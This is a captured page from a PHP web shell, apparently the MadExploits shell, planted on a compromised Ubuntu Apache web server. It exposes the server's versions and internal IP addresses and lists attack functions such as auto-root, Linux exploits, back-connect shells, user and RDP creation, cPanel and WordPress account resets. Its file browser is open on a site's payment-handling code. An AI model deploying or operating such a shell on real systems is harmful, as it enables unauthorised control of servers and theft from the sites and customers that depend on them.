Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ethnographylab /
php-kit /
[ HOME SHELL ]
Name
Size
Permission
Action
resources
[ DIR ]
drwxr-xr-x
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
initiatePayment.php
1.11
KB
-rw-r--r--
initiatePaymentDataForm.php
1.77
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : initiatePayment.php
<?php use PaymentHandler\APIException; require_once realpath("./PaymentHandler.php"); use PaymentHandler\PaymentHandler; $paymentHandler = new PaymentHandler("resources/config.json"); $orderId = "php_sdk_" . uniqid(); $customerId = "php_sdk_customer" . uniqid(); // block:start:session-function $params = json_decode("{\n\"amount\":\"10.00\",\n\"order_id\":\"$orderId\",\n\"customer_id\":\"$customerId\",\n\"action\":\"paymentPage\",\n\"return_url\": \"https://google.com\"\n}", true); try { $session = $paymentHandler->orderSession($params); // block:end:session-function $redirect = $session["payment_links"]["web"]; header("Location: {$redirect}"); exit; } catch (APIException $e ) { http_response_code(500); $error = json_encode(["message" => $e->getErrorMessage(), "error_code" => $e->getErrorCode(), "http_response_code" => $e->getHttpResponseCode()]); echo "<p> Payment server threw a non-2xx error. Error message: {$error} </p>"; exit; } catch (Exception $e) { http_response_code(500); echo " <p> Unexpected error occurred, Error message: {$e->getMessage()} </p>"; exit; } ?>
Close